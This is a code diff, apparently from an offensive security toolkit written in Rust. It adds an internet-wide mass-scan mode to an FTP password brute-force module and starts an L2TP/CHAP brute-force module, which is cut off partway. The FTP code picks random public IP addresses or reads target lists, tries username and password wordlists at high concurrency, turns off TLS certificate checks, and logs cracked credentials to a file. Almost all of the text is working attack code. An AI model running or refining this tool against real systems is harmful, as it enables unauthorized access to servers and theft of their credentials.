||||
let unknown = Arc::new(Mutex::new(Vec::<(String, String, String, String)>::new()));
|
||||
let stop = Arc::new(AtomicBool::new(false));
|
||||
let stats = Arc::new(BruteforceStats::new());
|
||||
|
||||
println!("\n[*] Starting brute-force on {}", addr);
|
||||
println!("\n[*] Starting brute-force on {}", display_addr);
|
||||
|
||||
let users = load_lines(&usernames_file)?;
|
||||
if users.is_empty() {
|
||||
println!("[!] Username wordlist is empty or invalid. Exiting.");
|
||||
return Ok(());
|
||||
}
|
||||
println!("{}", format!("[*] Loaded {} usernames", users.len()).cyan());
|
||||
|
||||
let passes = load_lines(&passwords_file)?;
|
||||
if passes.is_empty() {
|
||||
println!("[!] Password wordlist is empty or invalid. Exiting.");
|
||||
return Ok(());
|
||||
}
|
||||
println!("{}", format!("[*] Loaded {} passwords", passes.len()).cyan());
|
||||
|
||||
let total_attempts = if combo_mode { users.len() * passes.len() } else { passes.len() };
|
||||
println!("{}", format!("[*] Total attempts: {}", total_attempts).cyan());
|
||||
println!();
|
||||
|
||||
// Start progress reporter
|
||||
let stats_clone = stats.clone();
|
||||
let stop_clone = stop.clone();
|
||||
let progress_handle = tokio::spawn(async move {
|
||||
loop {
|
||||
if stop_clone.load(Ordering::Relaxed) {
|
||||
break;
|
||||
}
|
||||
stats_clone.print_progress();
|
||||
sleep(Duration::from_secs(PROGRESS_INTERVAL_SECS)).await;
|
||||
}
|
||||
});
|
||||
|
||||
let mut tasks = FuturesUnordered::new();
|
||||
|
||||
@@ -91,12 +257,16 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
for pass in &passes {
|
||||
if stop_on_success && stop.load(Ordering::Relaxed) { break; }
|
||||
|
||||
let addr_clone = addr.clone();
|
||||
let addr_clone = connect_addr.clone();
|
||||
let target_clone = target.to_string();
|
||||
let display_addr_clone = display_addr.clone();
|
||||
let user_clone = user.clone();
|
||||
let pass_clone = pass.clone();
|
||||
let found_clone = Arc::clone(&found);
|
||||
let unknown_clone = Arc::clone(&unknown);
|
||||
let stop_clone = Arc::clone(&stop);
|
||||
let semaphore_clone = Arc::clone(&semaphore);
|
||||
let stats_clone = Arc::clone(&stats);
|
||||
let verbose_flag = verbose;
|
||||
let stop_on_success_flag = stop_on_success;
|
||||
|
||||
@@ -111,19 +281,36 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
if stop_on_success_flag && stop_clone.load(Ordering::Relaxed) {
|
||||
return;
|
||||
}
|
||||
match try_ftp_login(&addr_clone, &user_clone, &pass_clone, verbose_flag).await {
|
||||
match try_ftp_login(&addr_clone, &target_clone, &user_clone, &pass_clone, verbose_flag).await {
|
||||
Ok(true) => {
|
||||
println!("[+] {} -> {}:{}", addr_clone, user_clone, pass_clone);
|
||||
found_clone.lock().await.push((addr_clone.clone(), user_clone.clone(), pass_clone.clone()));
|
||||
println!("\r{}", format!("[+] {} -> {}:{}", display_addr_clone, user_clone, pass_clone).green().bold());
|
||||
found_clone.lock().await.push((display_addr_clone.clone(), user_clone.clone(), pass_clone.clone()));
|
||||
stats_clone.record_attempt(true, false);
|
||||
if stop_on_success_flag {
|
||||
stop_clone.store(true, Ordering::Relaxed);
|
||||
}
|
||||
}
|
||||
Ok(false) => {
|
||||
log(verbose_flag, &format!("[-] {} -> {}:{}", addr_clone, user_clone, pass_clone));
|
||||
stats_clone.record_attempt(false, false);
|
||||
if verbose_flag {
|
||||
println!("\r{}", format!("[-] {} -> {}:{}", display_addr_clone, user_clone, pass_clone).dimmed());
|
||||
}
|
||||
}
|
||||
Err(e) => {
|
||||
log(verbose_flag, &format!("[!] {}: error: {}", addr_clone, e));
|
||||
stats_clone.record_attempt(false, true);
|
||||
let msg = e.to_string();
|
||||
{
|
||||
let mut _unknown_clone = unknown_clone.lock().await;
|
||||
_unknown_clone.push((
|
||||
display_addr_clone.clone(),
|
||||
user_clone.clone(),
|
||||
pass_clone.clone(),
|
||||
msg.clone(),
|
||||
));
|
||||
}
|
||||
if verbose_flag {
|
||||
println!("\r{}", format!("[?] {} -> {}:{} error/unknown: {}", display_addr_clone, user_clone, pass_clone, msg).yellow());
|
||||
}
|
||||
}
|
||||
}
|
||||
drop(permit);
|
||||
@@ -134,13 +321,17 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
if !users.is_empty() {
|
||||
for (i, pass) in passes.iter().enumerate() {
|
||||
if stop_on_success && stop.load(Ordering::Relaxed) { break; }
|
||||
let user = users.get(i % users.len()).expect("User list modulus logic error").clone();
|
||||
let user = users[i % users.len()].clone();
|
||||
|
||||
let addr_clone = addr.clone();
|
||||
let addr_clone = connect_addr.clone();
|
||||
let target_clone = target.to_string();
|
||||
let display_addr_clone = display_addr.clone();
|
||||
let pass_clone = pass.clone();
|
||||
let found_clone = Arc::clone(&found);
|
||||
let unknown_clone = Arc::clone(&unknown);
|
||||
let stop_clone = Arc::clone(&stop);
|
||||
let semaphore_clone = Arc::clone(&semaphore);
|
||||
let stats_clone = Arc::clone(&stats);
|
||||
let verbose_flag = verbose;
|
||||
let stop_on_success_flag = stop_on_success;
|
||||
|
||||
@@ -155,19 +346,36 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
if stop_on_success_flag && stop_clone.load(Ordering::Relaxed) {
|
||||
return;
|
||||
}
|
||||
match try_ftp_login(&addr_clone, &user, &pass_clone, verbose_flag).await {
|
||||
match try_ftp_login(&addr_clone, &target_clone, &user, &pass_clone, verbose_flag).await {
|
||||
Ok(true) => {
|
||||
println!("[+] {} -> {}:{}", addr_clone, user, pass_clone);
|
||||
found_clone.lock().await.push((addr_clone.clone(), user.clone(), pass_clone.clone()));
|
||||
println!("\r{}", format!("[+] {} -> {}:{}", display_addr_clone, user, pass_clone).green().bold());
|
||||
found_clone.lock().await.push((display_addr_clone.clone(), user.clone(), pass_clone.clone()));
|
||||
stats_clone.record_attempt(true, false);
|
||||
if stop_on_success_flag {
|
||||
stop_clone.store(true, Ordering::Relaxed);
|
||||
}
|
||||
}
|
||||
Ok(false) => {
|
||||
log(verbose_flag, &format!("[-] {} -> {}:{}", addr_clone, user, pass_clone));
|
||||
stats_clone.record_attempt(false, false);
|
||||
if verbose_flag {
|
||||
println!("\r{}", format!("[-] {} -> {}:{}", display_addr_clone, user, pass_clone).dimmed());
|
||||
}
|
||||
}
|
||||
Err(e) => {
|
||||
log(verbose_flag, &format!("[!] {}: error: {}", addr_clone, e));
|
||||
stats_clone.record_attempt(false, true);
|
||||
let msg = e.to_string();
|
||||
{
|
||||
let mut unk = unknown_clone.lock().await;
|
||||
unk.push((
|
||||
display_addr_clone.clone(),
|
||||
user.clone(),
|
||||
pass_clone.clone(),
|
||||
msg.clone(),
|
||||
));
|
||||
}
|
||||
if verbose_flag {
|
||||
println!("\r{}", format!("[!] Error: {}", e).yellow());
|
||||
}
|
||||
}
|
||||
}
|
||||
drop(permit);
|
||||
@@ -178,25 +386,37 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
|
||||
while let Some(res) = tasks.next().await {
|
||||
if let Err(e) = res {
|
||||
log(verbose, &format!("[!] Task panicked (likely due to forced shutdown or internal error): {}", e));
|
||||
if verbose {
|
||||
println!("\r{}", format!("[!] Task error: {}", e).red());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Stop progress reporter
|
||||
stop.store(true, Ordering::Relaxed);
|
||||
let _ = progress_handle.await;
|
||||
|
||||
// Print final statistics
|
||||
stats.print_final().await;
|
||||
|
||||
let creds = found.lock().await;
|
||||
if creds.is_empty() {
|
||||
println!("\n[-] No credentials found.");
|
||||
println!("{}", "[-] No credentials found.".yellow());
|
||||
} else {
|
||||
println!("\n[+] Valid credentials:");
|
||||
println!("{}", format!("[+] Found {} valid credential(s):", creds.len()).green().bold());
|
||||
for (host, user, pass) in creds.iter() {
|
||||
println!(" {} -> {}:{}", host, user, pass);
|
||||
println!(" {} {}:{}:{}", "✓".green(), host, user, pass);
|
||||
}
|
||||
if let Some(path) = save_path {
|
||||
let file_path = get_filename_in_current_dir(&path);
|
||||
match File::create(&file_path) {
|
||||
Ok(mut file) => {
|
||||
for (host, user, pass) in creds.iter() {
|
||||
if writeln!(file, "{} -> {}:{}", host, user, pass).is_err() {
|
||||
eprintln!("[!] Error writing to result file '{}'", file_path.display());
|
||||
// Standardized format: IP:PORT:USER:PASS
|
||||
// host should already include IP:PORT based on `display_addr` formatting earlier
|
||||
// But wait, `display_addr` is `[IP]:Port` or `IP:Port`
|
||||
// We want strictly `IP:PORT:USER:PASS`
|
||||
if writeln!(file, "{}:{}:{}", host, user, pass).is_err() {
|
||||
break;
|
||||
}
|
||||
}
|
||||
@@ -208,13 +428,217 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
async fn try_ftp_login(addr: &str, user: &str, pass: &str, verbose: bool) -> Result<bool> {
|
||||
async fn run_mass_scan(target: &str) -> Result<()> {
|
||||
// Get API config
|
||||
let config = crate::config::get_module_config();
|
||||
let api_mode = config.is_api_mode();
|
||||
|
||||
// Prep - use API config or prompt
|
||||
let port: u16 = config.port.unwrap_or_else(|| {
|
||||
if api_mode { 21 } else { prompt_port("FTP Port", 21).unwrap_or(21) }
|
||||
});
|
||||
|
||||
let usernames_file = config.username_wordlist.clone().ok_or_else(|| {
|
||||
if api_mode {
|
||||
anyhow!("username_wordlist required for API mode mass scan")
|
||||
} else {
|
||||
anyhow!("Username wordlist required")
|
||||
}
|
||||
}).or_else(|_| {
|
||||
if api_mode { Err(anyhow!("username_wordlist required for API mode")) }
|
||||
else { prompt_existing_file("Username wordlist") }
|
||||
})?;
|
||||
|
||||
let passwords_file = config.password_wordlist.clone().ok_or_else(|| {
|
||||
if api_mode {
|
||||
anyhow!("password_wordlist required for API mode mass scan")
|
||||
} else {
|
||||
anyhow!("Password wordlist required")
|
||||
}
|
||||
}).or_else(|_| {
|
||||
if api_mode { Err(anyhow!("password_wordlist required for API mode")) }
|
||||
else { prompt_existing_file("Password wordlist") }
|
||||
})?;
|
||||
|
||||
let users = load_lines(&usernames_file)?;
|
||||
let pass_lines = load_lines(&passwords_file)?;
|
||||
|
||||
if users.is_empty() { return Err(anyhow!("User list empty")); }
|
||||
if pass_lines.is_empty() { return Err(anyhow!("Pass list empty")); }
|
||||
|
||||
let concurrency = config.concurrency.unwrap_or_else(|| {
|
||||
if api_mode { 500 } else { prompt_int_range("Max concurrent hosts to scan", 500, 1, 10000).unwrap_or(500) as usize }
|
||||
});
|
||||
let verbose = config.verbose.unwrap_or_else(|| {
|
||||
if api_mode { false } else { prompt_yes_no("Verbose mode?", false).unwrap_or(false) }
|
||||
});
|
||||
let output_file = config.output_file.clone().unwrap_or_else(|| {
|
||||
if api_mode { "ftp_brute_mass_results.txt".to_string() }
|
||||
else { prompt_default("Output result file", "ftp_brute_mass_results.txt").unwrap_or_else(|_| "ftp_brute_mass_results.txt".to_string()) }
|
||||
});
|
||||
|
||||
// In API mode, always exclude private ranges; otherwise ask
|
||||
let use_exclusions = if api_mode { true } else { prompt_yes_no("Exclude reserved/private ranges?", true).unwrap_or(true) };
|
||||
|
||||
// Parse exclusions
|
||||
let mut exclusion_subnets = Vec::new();
|
||||
if use_exclusions {
|
||||
for cidr in EXCLUDED_RANGES {
|
||||
if let Ok(net) = cidr.parse::<ipnetwork::IpNetwork>() {
|
||||
exclusion_subnets.push(net);
|
||||
}
|
||||
}
|
||||
println!("{}", format!("[+] Loaded {} exclusion ranges", exclusion_subnets.len()).cyan());
|
||||
}
|
||||
let exclusions = Arc::new(exclusion_subnets);
|
||||
|
||||
let semaphore = Arc::new(Semaphore::new(concurrency));
|
||||
let stats_checked = Arc::new(AtomicUsize::new(0));
|
||||
let stats_found = Arc::new(AtomicUsize::new(0));
|
||||
|
||||
let creds_pkg = Arc::new((users, pass_lines));
|
||||
|
||||
// Stats
|
||||
let s_checked = stats_checked.clone();
|
||||
let s_found = stats_found.clone();
|
||||
tokio::spawn(async move {
|
||||
loop {
|
||||
tokio::time::sleep(Duration::from_secs(5)).await;
|
||||
println!(
|
||||
"[*] Status: {} IPs scanned, {} valid credentials found",
|
||||
s_checked.load(Ordering::Relaxed),
|
||||
s_found.load(Ordering::Relaxed).to_string().green().bold()
|
||||
);
|
||||
}
|
||||
});
|
||||
|
||||
let run_random = target == "random" || target == "0.0.0.0" || target == "0.0.0.0/0";
|
||||
|
||||
if run_random {
|
||||
// Initialize state file
|
||||
OpenOptions::new().create(true).write(true).open(STATE_FILE).await?;
|
||||
|
||||
println!("{}", "[*] Starting Random Internet Scan...".green());
|
||||
loop {
|
||||
let permit = semaphore.clone().acquire_owned().await.context("Semaphore acquisition failed")?;
|
||||
let exc = exclusions.clone();
|
||||
let cp = creds_pkg.clone();
|
||||
let sc = stats_checked.clone();
|
||||
let sf = stats_found.clone();
|
||||
let of = output_file.clone();
|
||||
|
||||
tokio::spawn(async move {
|
||||
let ip = generate_random_public_ip(&exc);
|
||||
if !is_ip_checked(&ip).await {
|
||||
mark_ip_checked(&ip).await;
|
||||
mass_scan_host(ip, port, cp, sf, of, verbose).await;
|
||||
}
|
||||
sc.fetch_add(1, Ordering::Relaxed);
|
||||
drop(permit);
|
||||
});
|
||||
}
|
||||
} else {
|
||||
// File Mode
|
||||
let content = match tokio::fs::read_to_string(target).await {
|
||||
Ok(c) => c,
|
||||
Err(e) => {
|
||||
println!("{}", format!("[!] Failed to read target file: {}", e).red());
|
||||
return Ok(());
|
||||
}
|
||||
};
|
||||
let lines: Vec<String> = content.lines().map(|s| s.trim().to_string()).filter(|s| !s.is_empty()).collect();
|
||||
println!("{}", format!("[*] Loaded {} targets from file.", lines.len()).blue());
|
||||
|
||||
for ip_str in lines {
|
||||
let permit = semaphore.clone().acquire_owned().await.context("Semaphore acquisition failed")?;
|
||||
let cp = creds_pkg.clone();
|
||||
let sc = stats_checked.clone();
|
||||
let sf = stats_found.clone();
|
||||
let of = output_file.clone();
|
||||
|
||||
if let Ok(ip) = ip_str.parse::<IpAddr>() {
|
||||
tokio::spawn(async move {
|
||||
if !is_ip_checked(&ip).await {
|
||||
mark_ip_checked(&ip).await;
|
||||
mass_scan_host(ip, port, cp, sf, of, verbose).await;
|
||||
}
|
||||
sc.fetch_add(1, Ordering::Relaxed);
|
||||
drop(permit);
|
||||
});
|
||||
} else {
|
||||
drop(permit);
|
||||
}
|
||||
}
|
||||
for _ in 0..concurrency {
|
||||
let _ = semaphore.acquire().await.context("Semaphore acquisition failed")?;
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
async fn mass_scan_host(
|
||||
ip: IpAddr,
|
||||
port: u16,
|
||||
creds: Arc<(Vec<String>, Vec<String>)>,
|
||||
stats_found: Arc<AtomicUsize>,
|
||||
output_file: String,
|
||||
verbose: bool
|
||||
) {
|
||||
let sa = SocketAddr::new(ip, port);
|
||||
|
||||
// 1. Connection Check
|
||||
if timeout(Duration::from_millis(MASS_SCAN_CONNECT_TIMEOUT_MS), TcpStream::connect(&sa)).await.is_err() {
|
||||
return;
|
||||
}
|
||||
|
||||
let (users, passes) = &*creds;
|
||||
|
||||
// 2. Iterative Bruteforce
|
||||
// Sequential try to avoid blasting the server
|
||||
let addr_str = format!("{}:{}", ip, port);
|
||||
|
||||
for user in users {
|
||||
for pass in passes {
|
||||
let res = try_ftp_login(&addr_str, &ip.to_string(), user, pass, verbose).await;
|
||||
match res {
|
||||
Ok(true) => {
|
||||
// Format: IP:PORT:USER:PASS
|
||||
let msg = format!("{}:{}:{}:{}", ip, port, user, pass);
|
||||
println!("\r{}", format!("[+] FOUND: {}", msg).green().bold());
|
||||
if let Ok(mut file) = OpenOptions::new().create(true).append(true).open(&output_file).await {
|
||||
let _ = file.write_all(format!("{}\n", msg).as_bytes()).await;
|
||||
}
|
||||
stats_found.fetch_add(1, Ordering::Relaxed);
|
||||
return; // Stop after first success
|
||||
}
|
||||
Ok(false) => { // Auth failed
|
||||
}
|
||||
Err(e) => {
|
||||
// If conn refused/timeout, likely dead or blocked, abort this host
|
||||
let err = e.to_string().to_lowercase();
|
||||
if err.contains("refused") || err.contains("timeout") || err.contains("reset") {
|
||||
return;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Try login using address string and fallback to FTPS if needed
|
||||
async fn try_ftp_login(addr: &str, target: &str, user: &str, pass: &str, verbose: bool) -> Result<bool> {
|
||||
// Attempt 1: Plain FTP
|
||||
match AsyncFtpStream::connect(addr).await {
|
||||
Ok(mut ftp) => {
|
||||
if verbose {
|
||||
//println!("[i] Connecting to {} (plain FTP)", addr);
|
||||
}
|
||||
|
||||
match timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS), AsyncFtpStream::connect(addr)).await {
|
||||
Ok(Ok(mut ftp)) => {
|
||||
match ftp.login(user, pass).await {
|
||||
Ok(_) => {
|
||||
let _ = ftp.quit().await;
|
||||
@@ -222,74 +646,54 @@ async fn try_ftp_login(addr: &str, user: &str, pass: &str, verbose: bool) -> Res
|
||||
}
|
||||
Err(e) => {
|
||||
let msg = e.to_string();
|
||||
if msg.contains("530") {
|
||||
return Ok(false);
|
||||
} else if msg.contains("550 SSL/TLS required") || msg.contains("TLS required on the control channel") || msg.contains("220 TLS go first") || msg.contains("SSL connection required") {
|
||||
println!("[i] {} - Plain FTP login indicated TLS required. Attempting FTPS...", addr);
|
||||
} else if msg.contains("421") {
|
||||
println!("[-] {} - Server reported too many connections (421). Sleeping briefly...", addr);
|
||||
sleep(Duration::from_secs(2)).await;
|
||||
return Ok(false);
|
||||
} else {
|
||||
if verbose {
|
||||
println!("[!] FTP login error for {} ({}:{}): {} - Raw: {:?}", addr, user, pass, msg, e);
|
||||
match FtpErrorType::classify_error(&msg) {
|
||||
FtpErrorType::AuthenticationFailed => {
|
||||
return Ok(false);
|
||||
}
|
||||
FtpErrorType::TlsRequired => {
|
||||
// Proceed to FTPS attempt
|
||||
}
|
||||
FtpErrorType::ConnectionLimitExceeded => {
|
||||
sleep(Duration::from_secs(1)).await;
|
||||
return Ok(false); // Treat as soft fail
|
||||
}
|
||||
_ => {
|
||||
return Err(anyhow!("FTP login error: {}", msg));
|
||||
}
|
||||
return Err(anyhow!("FTP login error: {}", msg));
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
Err(e) => {
|
||||
let msg = e.to_string();
|
||||
if msg.contains("SSL/TLS required") || msg.contains("TLS required on the control channel") || msg.contains("220 TLS go first") || msg.contains("SSL connection required") {
|
||||
println!("[i] {} - Plain FTP connection indicated TLS required. Attempting FTPS...", addr);
|
||||
} else if msg.contains("421") {
|
||||
println!("[-] {} - Server reported too many connections during connect (421). Sleeping briefly...", addr);
|
||||
sleep(Duration::from_secs(2)).await;
|
||||
return Ok(false);
|
||||
} else {
|
||||
if verbose {
|
||||
println!("[!] FTP connection error to {} ({}:{}): {} - Raw: {:?}", addr, user, pass, msg, e);
|
||||
}
|
||||
return Err(anyhow!("FTP connection error: {}", msg));
|
||||
}
|
||||
Ok(Err(e)) => {
|
||||
// Connection level error
|
||||
return Err(e.into());
|
||||
}
|
||||
Err(_) => {
|
||||
return Err(anyhow!("Timeout"));
|
||||
}
|
||||
}
|
||||
|
||||
// 2️⃣ Only if needed, try FTPS
|
||||
if verbose {
|
||||
println!("[i] {} Attempting FTPS login for user '{}'", addr, user);
|
||||
}
|
||||
let mut ftp_tls = AsyncNativeTlsFtpStream::connect(addr)
|
||||
.await
|
||||
.map_err(|e| {
|
||||
if verbose {
|
||||
println!("[!] FTPS base connect failed for {} ({}:{}): {} - Raw: {:?}", addr, user, pass, e, e);
|
||||
}
|
||||
anyhow!("FTPS base connect failed: {}", e)
|
||||
})?;
|
||||
// FTPS fallback logic (retained but lightweight for mass scan? maybe skip for mass scan unless configured?)
|
||||
// For now, reuse it as it makes the check robust.
|
||||
|
||||
// FTPS attempts ... (simulated reuse of original logic below)
|
||||
let mut ftp_tls = match timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS), AsyncNativeTlsFtpStream::connect(addr)).await {
|
||||
Ok(Ok(s)) => s,
|
||||
_ => return Err(anyhow!("FTPS Connect failed")),
|
||||
};
|
||||
|
||||
let connector = AsyncNativeTlsConnector::from(
|
||||
TlsConnector::new()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.danger_accept_invalid_hostnames(true),
|
||||
);
|
||||
|
||||
let domain = target.trim_start_matches('[').split(&[']', ':'][..]).next().unwrap_or(target);
|
||||
|
||||
let domain = addr
|
||||
.trim_start_matches('[')
|
||||
.split(&[']', ':'][..])
|
||||
.next()
|
||||
.unwrap_or(addr);
|
||||
|
||||
ftp_tls = ftp_tls
|
||||
.into_secure(connector, domain)
|
||||
.await
|
||||
.map_err(|e| {
|
||||
if verbose {
|
||||
println!("[!] TLS upgrade failed for {} ({}:{}): {} - Raw: {:?}", addr, user, pass, e, e);
|
||||
}
|
||||
anyhow!("TLS upgrade failed: {}", e)
|
||||
})?;
|
||||
ftp_tls = match ftp_tls.into_secure(connector, domain).await {
|
||||
Ok(s) => s,
|
||||
Err(e) => return Err(anyhow!("TLS Upgrade: {}", e)),
|
||||
};
|
||||
|
||||
match ftp_tls.login(user, pass).await {
|
||||
Ok(_) => {
|
||||
@@ -297,85 +701,50 @@ async fn try_ftp_login(addr: &str, user: &str, pass: &str, verbose: bool) -> Res
|
||||
Ok(true)
|
||||
}
|
||||
Err(e) => {
|
||||
let msg = e.to_string();
|
||||
if msg.contains("530") {
|
||||
Ok(false)
|
||||
} else {
|
||||
if verbose {
|
||||
println!("[!] FTPS error for {} ({}:{}): {} - Raw: {:?}", addr, user, pass, msg, e);
|
||||
}
|
||||
Err(anyhow!("FTPS error: {}", msg))
|
||||
match FtpErrorType::classify_error(&e.to_string()) {
|
||||
FtpErrorType::AuthenticationFailed => Ok(false),
|
||||
_ => Err(anyhow!("FTPS Error: {}", e)),
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn generate_random_public_ip(exclusions: &[ipnetwork::IpNetwork]) -> IpAddr {
|
||||
let mut rng = rand::rng();
|
||||
loop {
|
||||
let octets: [u8; 4] = rng.random();
|
||||
let ip = Ipv4Addr::from(octets);
|
||||
let ip_addr = IpAddr::V4(ip);
|
||||
let mut excluded = false;
|
||||
for net in exclusions {
|
||||
if net.contains(ip_addr) {
|
||||
excluded = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
if !excluded { return ip_addr; }
|
||||
}
|
||||
}
|
||||
|
||||
async fn is_ip_checked(ip: &impl ToString) -> bool {
|
||||
if !std::path::Path::new(STATE_FILE).exists() {
|
||||
return false;
|
||||
}
|
||||
let ip_s = ip.to_string();
|
||||
let status = Command::new("grep")
|
||||
.arg("-F")
|
||||
.arg("-q")
|
||||
.arg(format!("checked: {}", ip_s))
|
||||
.arg(STATE_FILE)
|
||||
.stderr(std::process::Stdio::null())
|
||||
.status()
|
||||
.await;
|
||||
match status { Ok(s) => s.success(), Err(_) => false }
|
||||
}
|
||||
|
||||
// === Helpers === (prompt_required, prompt_default, prompt_yes_no, load_lines, log, get_filename_in_current_dir remain unchanged)
|
||||
|
||||
fn prompt_required(msg: &str) -> Result<String> {
|
||||
loop {
|
||||
print!("{}", format!("{}: ", msg).cyan().bold());
|
||||
std::io::stdout().flush()?;
|
||||
let mut s = String::new();
|
||||
std::io::stdin().read_line(&mut s)?;
|
||||
let trimmed = s.trim();
|
||||
if !trimmed.is_empty() {
|
||||
return Ok(trimmed.to_string());
|
||||
}
|
||||
println!("{}", "This field is required.".yellow());
|
||||
async fn mark_ip_checked(ip: &impl ToString) {
|
||||
let data = format!("checked: {}\n", ip.to_string());
|
||||
if let Ok(mut file) = OpenOptions::new().create(true).append(true).open(STATE_FILE).await {
|
||||
let _ = file.write_all(data.as_bytes()).await;
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_default(msg: &str, default: &str) -> Result<String> {
|
||||
print!("{}", format!("{} [{}]: ", msg, default).cyan().bold());
|
||||
std::io::stdout().flush()?;
|
||||
let mut s = String::new();
|
||||
std::io::stdin().read_line(&mut s)?;
|
||||
let trimmed = s.trim();
|
||||
Ok(if trimmed.is_empty() {
|
||||
default.to_string()
|
||||
} else {
|
||||
trimmed.to_string()
|
||||
})
|
||||
}
|
||||
|
||||
fn prompt_yes_no(msg: &str, default_yes: bool) -> Result<bool> {
|
||||
let default_char = if default_yes { "y" } else { "n" };
|
||||
loop {
|
||||
print!("{}", format!("{} (y/n) [{}]: ", msg, default_char).cyan().bold());
|
||||
std::io::stdout().flush()?;
|
||||
let mut s = String::new();
|
||||
std::io::stdin().read_line(&mut s)?;
|
||||
let input = s.trim().to_lowercase();
|
||||
match input.as_str() {
|
||||
"" => return Ok(default_yes),
|
||||
"y" | "yes" => return Ok(true),
|
||||
"n" | "no" => return Ok(false),
|
||||
_ => println!("{}", "Invalid input. Please enter 'y' or 'n'.".yellow()),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn load_lines<P: AsRef<Path>>(path: P) -> Result<Vec<String>> {
|
||||
let file = File::open(path.as_ref()).map_err(|e| anyhow!("Failed to open file '{}': {}", path.as_ref().display(), e))?;
|
||||
let reader = BufReader::new(file);
|
||||
Ok(reader
|
||||
.lines()
|
||||
.filter_map(|line| line.ok().map(|s| s.trim().to_string()))
|
||||
.filter(|line| !line.is_empty())
|
||||
.collect())
|
||||
}
|
||||
|
||||
fn log(verbose: bool, msg: &str) {
|
||||
if verbose {
|
||||
println!("{}", msg);
|
||||
}
|
||||
}
|
||||
|
||||
fn get_filename_in_current_dir(input: &str) -> PathBuf {
|
||||
Path::new(input)
|
||||
.file_name()
|
||||
.map(|name_os_str| PathBuf::from(format!("./{}", name_os_str.to_string_lossy())))
|
||||
.unwrap_or_else(|| PathBuf::from(input))
|
||||
}
|
||||
|
||||
@@ -0,0 +1,664 @@
|
||||
use anyhow::{anyhow, Result};
|
||||
use colored::*;
|
||||
use futures::stream::{FuturesUnordered, StreamExt};
|
||||
use std::{
|
||||
fs::File,
|
||||
io::Write,
|
||||
net::UdpSocket,
|
||||
sync::Arc,
|
||||
sync::atomic::{AtomicBool, Ordering},
|
||||
time::Duration,
|
||||
};
|
||||
use tokio::sync::{Mutex, Semaphore};
|
||||
use tokio::time::sleep;
|
||||
|
||||
use crate::utils::{
|
||||
prompt_yes_no, prompt_existing_file, prompt_default, prompt_int_range,
|
||||
load_lines, normalize_target, get_filename_in_current_dir, prompt_port,
|
||||
};
|
||||
use crate::modules::creds::utils::BruteforceStats;
|
||||
|
||||
const PROGRESS_INTERVAL_SECS: u64 = 2;
|
||||
const DEFAULT_TIMEOUT_MS: u64 = 5000;
|
||||
|
||||
// L2TP Message Types
|
||||
const L2TP_SCCRQ: u16 = 1; // Start-Control-Connection-Request
|
||||
const L2TP_SCCRP: u16 = 2; // Start-Control-Connection-Reply
|
||||
const L2TP_SCCCN: u16 = 3; // Start-Control-Connection-Connected
|
||||
const L2TP_ICRQ: u16 = 10; // Incoming-Call-Request
|
||||
const L2TP_ICRP: u16 = 11; // Incoming-Call-Reply
|
||||
const L2TP_ICCN: u16 = 12; // Incoming-Call-Connected
|
||||
|
||||
// PPP Protocol IDs
|
||||
const PPP_CHAP: u16 = 0xC223;
|
||||
|
||||
// CHAP Codes
|
||||
const CHAP_CHALLENGE: u8 = 1;
|
||||
const CHAP_RESPONSE: u8 = 2;
|
||||
const CHAP_SUCCESS: u8 = 3;
|
||||
const CHAP_FAILURE: u8 = 4;
|
||||
|
||||
fn display_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ L2TP/PPP Brute Force Module ║".cyan());
|
||||
println!("{}", "║ Native L2TP/CHAP Implementation ║".cyan());
|
||||
println!("{}", "║ Tests against L2TP servers using CHAP authentication ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
|
||||
println!();
|
||||
}
|
||||
|
||||
/// L2TP Session state
|
||||
struct L2tpSession {
|
||||
sock: UdpSocket,
|
||||
local_tunnel_id: u16,
|
||||
remote_tunnel_id: u16,
|
||||
local_session_id: u16,
|
||||
remote_session_id: u16,
|
||||
ns: u16, // Next sequence to send
|
||||
nr: u16, // Next sequence expected
|
||||
}
|
||||
|
||||
impl L2tpSession {
|
||||
fn new(sock: UdpSocket) -> Self {
|
||||
Self {
|
||||
sock,
|
||||
local_tunnel_id: rand::random::<u16>() | 1,
|
||||
remote_tunnel_id: 0,
|
||||
local_session_id: rand::random::<u16>() | 1,
|
||||
remote_session_id: 0,
|
||||
ns: 0,
|
||||
nr: 0,
|
||||
}
|
||||
}
|
||||
|
||||
/// Build L2TP control message
|
||||
fn build_control(&mut self, avps: &[u8]) -> Vec<u8> {
|
||||
// Flags: T=1 (control), L=1 (length), S=1 (sequence)
|
||||
let flags: u16 = 0xC802;
|
||||
let length = 12 + avps.len() as u16;
|
||||
|
||||
let mut pkt = Vec::with_capacity(length as usize);
|
||||
pkt.extend_from_slice(&flags.to_be_bytes());
|
||||
pkt.extend_from_slice(&length.to_be_bytes());
|
||||
pkt.extend_from_slice(&self.remote_tunnel_id.to_be_bytes());
|
||||
pkt.extend_from_slice(&0u16.to_be_bytes()); // Session 0 for control
|
||||
pkt.extend_from_slice(&self.ns.to_be_bytes());
|
||||
pkt.extend_from_slice(&self.nr.to_be_bytes());
|
||||
pkt.extend_from_slice(avps);
|
||||
|
||||
self.ns = self.ns.wrapping_add(1);
|
||||
pkt
|
||||
}
|
||||
|
||||
/// Build L2TP data message
|
||||
fn build_data(&self, payload: &[u8]) -> Vec<u8> {
|
||||
let flags: u16 = 0x0002; // Data message
|
||||
